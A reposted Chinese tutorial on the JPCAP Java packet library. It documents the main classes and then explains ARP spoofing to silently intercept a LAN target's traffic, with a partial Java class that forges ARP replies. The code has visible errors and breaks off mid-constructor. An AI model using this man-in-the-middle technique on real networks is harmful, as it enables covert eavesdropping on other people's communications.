JPCAP——JAVA中的數(shù)據(jù)鏈路層控制
一．JPCAP簡(jiǎn)介
眾所周知，JAVA語(yǔ)言雖然在TCP/UDP傳輸方面給予了良好的定義，但對(duì)于網(wǎng)絡(luò)層以下的控制，卻是無(wú)能為力的。JPCAP擴(kuò)展包彌補(bǔ)了這一點(diǎn)。
JPCAP實(shí)際上并非一個(gè)真正去實(shí)現(xiàn)對(duì)數(shù)據(jù)鏈路層的控制，而是一個(gè)中間件，JPCAP調(diào)用wincap/libpcap，而給JAVA語(yǔ)言提供一個(gè)公共的接口，從而實(shí)現(xiàn)了平臺(tái)無(wú)關(guān)性。在官方網(wǎng)站上聲明，JPCAP支持FreeBSD 3.x, Linux RedHat 6.1, Fedora Core 4, Solaris, and Microsoft Windows 2000/XP等系統(tǒng)。
二．JPCAP機(jī)制
JPCAP的整個(gè)結(jié)構(gòu)大體上跟wincap/libpcap是很相像的，例如NetworkInterface類對(duì)應(yīng)wincap的typedef struct _ADAPTER ADAPTER，getDeviceList()對(duì)應(yīng)pcap_findalldevs()等等。 JPCAP有16個(gè)類，下面就其中最重要的4個(gè)類做說(shuō)明。
1．NetworkInterface
該類的每一個(gè)實(shí)例代表一個(gè)網(wǎng)絡(luò)設(shè)備，一般就是網(wǎng)卡。這個(gè)類只有一些數(shù)據(jù)成員，除了繼承自java.lang.Object的基本方法以外，沒(méi)有定義其它方法。
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數(shù)據(jù)成員
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NetworkInterfaceAddress[]
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addresses
這個(gè)接口的網(wǎng)絡(luò)地址。設(shè)定為數(shù)組應(yīng)該是考慮到有些設(shè)備同時(shí)連接多條線路，例如路由器。但我們的PC機(jī)的網(wǎng)卡一般只有一條線路，所以我們一般取addresses[0]就夠了。
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java.lang.String
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datalink_description.
數(shù)據(jù)鏈路層的描述。描述所在的局域網(wǎng)是什么網(wǎng)。例如，以太網(wǎng)（Ethernet）、無(wú)線LAN網(wǎng)（wireless LAN）、令牌環(huán)網(wǎng)(token ring)等等。
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java.lang.String
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datalink_name
該網(wǎng)絡(luò)設(shè)備所對(duì)應(yīng)數(shù)據(jù)鏈路層的名稱。具體來(lái)說(shuō)，例如Ethernet10M、100M、1000M等等。
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java.lang.String
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description
網(wǎng)卡是XXXX牌子X(jué)XXX型號(hào)之類的描述。例如我的網(wǎng)卡描述：Realtek RTL8169/8110 Family Gigabit Ethernet NIC
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boolean
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Loopback
標(biāo)志這個(gè)設(shè)備是否loopback設(shè)備。
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byte[]
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mac_address
網(wǎng)卡的MAC地址，6個(gè)字節(jié)。
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java.lang.String
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Name
這個(gè)設(shè)備的名稱。例如我的網(wǎng)卡名稱：\Device\NPF_{3CE5FDA5-E15D-4F87-B217-255BCB351CD5}
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2．JpcapCaptor
該類提供了一系列靜態(tài)方法實(shí)現(xiàn)一些基本的功能。該類一個(gè)實(shí)例代表建立了一個(gè)與指定設(shè)備的鏈接，可以通過(guò)該類的實(shí)例來(lái)控制設(shè)備，例如設(shè)定網(wǎng)卡模式、設(shè)定過(guò)濾關(guān)鍵字等等。
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數(shù)據(jù)成員
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int
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dropped_packets
拋棄的包的數(shù)目。
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protected int
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ID
這個(gè)數(shù)據(jù)成員在官方文檔中并沒(méi)有做任何說(shuō)明，查看JPCAP源代碼可以發(fā)現(xiàn)這個(gè)ID實(shí)際上在其JNI的C代碼部分傳進(jìn)來(lái)的，這類本身并沒(méi)有做出定義，所以是供其內(nèi)部使用的。實(shí)際上在對(duì)JpcapCator實(shí)例的使用中也沒(méi)有辦法調(diào)用此數(shù)據(jù)成員。
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protected static boolean[]
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instanciatedFlag
同樣在官方文檔中沒(méi)有做任何說(shuō)明，估計(jì)其為供內(nèi)部使用。
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protected static int
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MAX_NUMBER_OF_INSTANCE
同樣在官方文檔中沒(méi)有做任何說(shuō)明，估計(jì)其為供內(nèi)部使用。
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int
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received_packets
收到的包的數(shù)目
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方法成員
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static NetworkInterface[]
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getDeviceList()
返回一個(gè)網(wǎng)絡(luò)設(shè)備列表。
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static JpcapCaptor
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openDevice(NetworkInterface interface, int snaplen, boolean promisc, int to_ms)
創(chuàng)建一個(gè)與指定設(shè)備的連接并返回該連接。注意，以上兩個(gè)方法都是靜態(tài)方法。
Interface：要打開連接的設(shè)備的實(shí)例；
Snaplen：這個(gè)是比較容易搞混的一個(gè)參數(shù)。其實(shí)這個(gè)參數(shù)不是限制只能捕捉多少數(shù)據(jù)包，而是限制每一次收到一個(gè)數(shù)據(jù)包，只提取該數(shù)據(jù)包中前多少字節(jié)；
Promisc：設(shè)置是否混雜模式。處于混雜模式將接收所有數(shù)據(jù)包，若之后又調(diào)用了包過(guò)濾函數(shù)setFilter()將不起任何作用；
To_ms：這個(gè)參數(shù)主要用于processPacket()方法，指定超時(shí)的時(shí)間；
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void
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Close()
關(guān)閉調(diào)用該方法的設(shè)備的連接，相對(duì)于openDivece()打開連接。
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JpcapSender
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getJpcapSenderInstance()
該返回一個(gè)JpcapSender實(shí)例，JpcapSender類是專門用于控制設(shè)備的發(fā)送數(shù)據(jù)包的功能的類。
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Packet
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getPacket()
捕捉并返回一個(gè)數(shù)據(jù)包。這是JpcapCaptor實(shí)例中四種捕捉包的方法之一。
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int
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loopPacket(int count, PacketReceiver handler)
捕捉指定數(shù)目的數(shù)據(jù)包，并交由實(shí)現(xiàn)了PacketReceiver接口的類的實(shí)例處理，并返回捕捉到的數(shù)據(jù)包數(shù)目。如果count參數(shù)設(shè)為－1，那么無(wú)限循環(huán)地捕捉數(shù)據(jù)。
這個(gè)方法不受超時(shí)的影響。還記得openDivice()中的to_ms參數(shù)么？那個(gè)參數(shù)對(duì)這個(gè)方法沒(méi)有影響，如果沒(méi)有捕捉到指定數(shù)目數(shù)據(jù)包，那么這個(gè)方法將一直阻塞等待。
PacketReceiver中只有一個(gè)抽象方法void receive(Packet p)。
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int
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processPacket(int count, PacketReceiver handler)
跟loopPacket()功能一樣，唯一的區(qū)別是這個(gè)方法受超時(shí)的影響，超過(guò)指定時(shí)間自動(dòng)返回捕捉到數(shù)據(jù)包的數(shù)目。
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int
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dispatchPacket(int count, PacketReceiver handler)
跟processPacket()功能一樣，區(qū)別是這個(gè)方法可以處于“non-blocking”模式工作，在這種模式下dispatchPacket()可能立即返回，即使沒(méi)有捕捉到任何數(shù)據(jù)包。
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void
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setFilter(java.lang.String condition, boolean optimize)
.condition：設(shè)定要提取的包的關(guān)鍵字。
Optimize：這個(gè)參數(shù)在說(shuō)明文檔以及源代碼中都沒(méi)有說(shuō)明，只是說(shuō)這個(gè)參數(shù)如果為真，那么過(guò)濾器將處于優(yōu)化模式。
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void
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setNonBlockingMode(boolean nonblocking)
如果值為“true”，那么設(shè)定為“non-blocking”模式。
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void
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breakLoop()
當(dāng)調(diào)用processPacket()和loopPacket()后，再調(diào)用這個(gè)方法可以強(qiáng)制讓processPacket()和loopPacket()停止。
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3．JpcapSender
該類專門用于控制數(shù)據(jù)包的發(fā)送。
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方法成員
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void
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close()
強(qiáng)制關(guān)閉這個(gè)連接。
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static JpcapSender
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openRawSocket()
這個(gè)方法返回的JpcapSender實(shí)例發(fā)送數(shù)據(jù)包時(shí)將自動(dòng)填寫數(shù)據(jù)鏈路層頭部分。
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void
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sendPacket(Packet packet)
JpcapSender最重要的功能，發(fā)送數(shù)據(jù)包。需要注意的是，如果調(diào)用這個(gè)方法的實(shí)例是由JpcapCaptor的getJpcapSenderInstance()得到的話，需要自己設(shè)定數(shù)據(jù)鏈路層的頭，而如果是由上面的openRawSocket()得到的話，那么無(wú)需也不能設(shè)置，數(shù)據(jù)鏈路層的頭部將由系統(tǒng)自動(dòng)生成。
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4．Packet
這個(gè)是所有其它數(shù)據(jù)包類的父類。Jpcap所支持的數(shù)據(jù)包有：
ARPPacket、DatalinkPacket、EthernetPacket、ICMPPacket、IPPacket、TCPPacket、UDPPacket
三．使用JPCAP實(shí)現(xiàn)監(jiān)聽
1．監(jiān)聽原理
在詳細(xì)說(shuō)用JPCAP實(shí)現(xiàn)網(wǎng)絡(luò)監(jiān)聽實(shí)現(xiàn)前，先簡(jiǎn)單介紹下監(jiān)聽的原理。
局域網(wǎng)監(jiān)聽利用的是所謂的“ARP欺騙”技術(shù)。在以前曾經(jīng)一段階段，局域網(wǎng)的布局是使用總線式（或集線式）結(jié)構(gòu)，要到達(dá)監(jiān)聽只需要將網(wǎng)卡設(shè)定為混雜模式即可，但現(xiàn)在的局域網(wǎng)絡(luò)普遍采用的是交換式網(wǎng)絡(luò)，所以單純靠混雜模式來(lái)達(dá)到監(jiān)聽的方法已經(jīng)不可行了。所以為了達(dá)到監(jiān)聽的目的，我們需要“欺騙”路由器、“欺騙”交換機(jī)，即“ARP欺騙”技術(shù)。
假設(shè)本機(jī)為A，監(jiān)聽目標(biāo)為B。
首先，偽造一個(gè)ARP REPLY包，數(shù)據(jù)鏈路層頭及ARP內(nèi)容部分的源MAC地址填入A的MAC地址，而源IP部分填入網(wǎng)關(guān)IP，目的地址填入B的MAC、IP，然后將這個(gè)包發(fā)送給B，而B接收到這個(gè)偽造的ARP REPLY包后，由于源IP為網(wǎng)關(guān)IP，于是在它的ARP緩存表里刷新了一項(xiàng)，將（網(wǎng)關(guān)IP，網(wǎng)關(guān)MAC）刷新成（網(wǎng)關(guān)IP，A的MAC）。而B要訪問(wèn)外部的網(wǎng)都需要經(jīng)過(guò)網(wǎng)關(guān)，這時(shí)候這些要經(jīng)過(guò)網(wǎng)關(guān)的包就通通流到A的機(jī)器上來(lái)了。
接著，再偽造一個(gè)ARP REPLY包，數(shù)據(jù)鏈路層頭及ARP內(nèi)容部分的源MAC地址填入A的MAC地址，而源IP部分填入B的IP，目的地址填入網(wǎng)關(guān)MAC、IP，然后將這個(gè)包發(fā)給網(wǎng)關(guān)，網(wǎng)關(guān)接收到這個(gè)偽造的ARP REPLY包后，由于源IP為B的IP，于是在它的ARP緩存表里刷新了一項(xiàng)，將（B的IP，B的MAC）刷新成（B的IP，A的MAC）。這時(shí)候外部傳給B的數(shù)據(jù)包經(jīng)過(guò)網(wǎng)關(guān)時(shí)，就通通轉(zhuǎn)發(fā)給A。
這樣還只是攔截了B的數(shù)據(jù)包而已，B并不能上網(wǎng)——解決方法是將接收到的包，除了目的地址部分稍做修改，其它原封不動(dòng)的再轉(zhuǎn)發(fā)出去，這樣就達(dá)到了監(jiān)聽的目的——在B不知不覺(jué)中瀏覽了B所有的對(duì)外數(shù)據(jù)包。
ARP數(shù)據(jù)包解析
單元：Byte
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Ethernet頭部
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ARP數(shù)據(jù)部分
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６
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６
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２
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2
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2
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2
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2
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４
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６
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４
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６
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目標(biāo)MAC地址
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源地MAC地址
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類型號(hào)0x0800:ip
0x0806:ARP
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局域網(wǎng)類型
以太網(wǎng)0x0001
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網(wǎng)絡(luò)協(xié)議類型
IP網(wǎng)絡(luò)0x0800
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MAC/IP地址長(zhǎng)度，恒為0x06/04
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ARP包類型
REPLY
0x0002
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ARP目標(biāo)IP地址
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ARP目標(biāo)MAC 地址
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ARP源IP地址
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ARP源MAC地址
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2．用JPCAP實(shí)現(xiàn)監(jiān)聽
就如上面說(shuō)的，為了實(shí)現(xiàn)監(jiān)聽，我們必須做四件事：
A．發(fā)送ARP包修改B的ARP緩存表；
B．發(fā)送ARP包修改路由ARP緩存表；
C．轉(zhuǎn)發(fā)B發(fā)過(guò)來(lái)的數(shù)據(jù)包；
D．轉(zhuǎn)發(fā)路由發(fā)過(guò)來(lái)的數(shù)據(jù)包；
下面我們給個(gè)小小的例子說(shuō)明怎樣實(shí)現(xiàn)。
我們假定運(yùn)行這個(gè)程序的機(jī)器A只有一個(gè)網(wǎng)卡，只接一個(gè)網(wǎng)絡(luò)，所在局域網(wǎng)為Ethernet，并且假定已經(jīng)通過(guò)某種方式獲得B和網(wǎng)關(guān)的MAC地址（例如ARP解析獲得）。我們修改了B和網(wǎng)關(guān)的ARP表，并對(duì)他們的包進(jìn)行了轉(zhuǎn)發(fā)。
public class changeARP{
private NetworkInterface[] devices; //設(shè)備列表
private NetworkInterface device; //要使用的設(shè)備
private JpcapCaptor jpcap; //與設(shè)備的連接
private JpcapSender sender; //用于發(fā)送的實(shí)例
private byte[] targetMAC, gateMAC; //B的MAC地址，網(wǎng)關(guān)的MAC地址
private byte[] String targetIp, String gateIp; //B的IP地址，網(wǎng)關(guān)的IP地址
/**
*初始化設(shè)備
* JpcapCaptor.getDeviceList()得到設(shè)備可能會(huì)有兩個(gè)，其中一個(gè)必定是“Generic
*dialup adapter”，這是windows系統(tǒng)的虛擬網(wǎng)卡，并非真正的硬件設(shè)備。
*注意：在這里有一個(gè)小小的BUG，如果JpcapCaptor.getDeviceList()之前有類似JFrame jf=new
*JFame（）這類的語(yǔ)句會(huì)影響得到設(shè)備個(gè)數(shù)，只會(huì)得到真正的硬件設(shè)備，而不會(huì)出現(xiàn)虛擬網(wǎng)卡。
*虛擬網(wǎng)卡只有MAC地址而沒(méi)有IP地址，而且如果出現(xiàn)虛擬網(wǎng)卡，那么實(shí)際網(wǎng)卡的MAC將分
*配給虛擬網(wǎng)卡，也就是說(shuō)在程序中調(diào)用device. mac_address時(shí)得到的是00 00 00 00 00 00。
*/
private NetworkInterface getDevice() throws IOException {
devices = JpcapCaptor.getDeviceList(); //獲得設(shè)備列表
device = devices[0]; //只有一個(gè)設(shè)備
jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000); //打開與設(shè)備的連接
jpcap.setFilter(“ip”,true); //只監(jiān)聽B的IP數(shù)據(jù)包
sender = captor.getJpcapSenderInstance();
}
/**
*修改B和網(wǎng)關(guān)的ARP表。因?yàn)榫W(wǎng)關(guān)會(huì)定時(shí)發(fā)數(shù)據(jù)包刷新自己和B的緩存表，所以必須每隔一
*段時(shí)間就發(fā)一次包重新更改B和網(wǎng)關(guān)的ARP表。
*@參數(shù) targetMAC B的MAC地址，可通過(guò)ARP解析得到；
*@參數(shù) targetIp B的IP地址；
*@參數(shù) gateMAC 網(wǎng)關(guān)的MAC地址；
*@參數(shù) gateIp 網(wǎng)關(guān)的IP;
*/
public changeARP(byte[] targetMAC, String targetIp,byte[] gateMAC, String gateIp)
throws UnknownHostException,InterruptedException {
this. targetMAC = targetMAC;
this. targetIp = targetIp;
this. gateMAC = gateMAC;
this. gateIp = gateIp;
getDevice();
arpTarget = new ARPPacket(); //修改B的ARP表的ARP包
arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER; //選擇以太網(wǎng)類型(Ethernet)
arpTarget.prototype = ARPPacket.PROTOTYPE_IP; //選擇IP網(wǎng)絡(luò)協(xié)議類型
arpTarget.operation = ARPPacket.ARP_REPLY; //選擇REPLY類型
arpTarget.hlen = 6; //MAC地址長(zhǎng)度固定6個(gè)字節(jié)
arpTarget.plen = 4; //IP地址長(zhǎng)度固定4個(gè)字節(jié)
arpTarget.sender_hardaddr = device.mac_address; //A的MAC地址
arpTarget.sender_protoaddr = InetAddress.getByName(gateIp).getAddress(); //網(wǎng)關(guān)IP
arpTarget.target_hardaddr = targetMAC; //B的MAC地址
轉(zhuǎn):http://nicky-hk.javaeye.com/blog/46719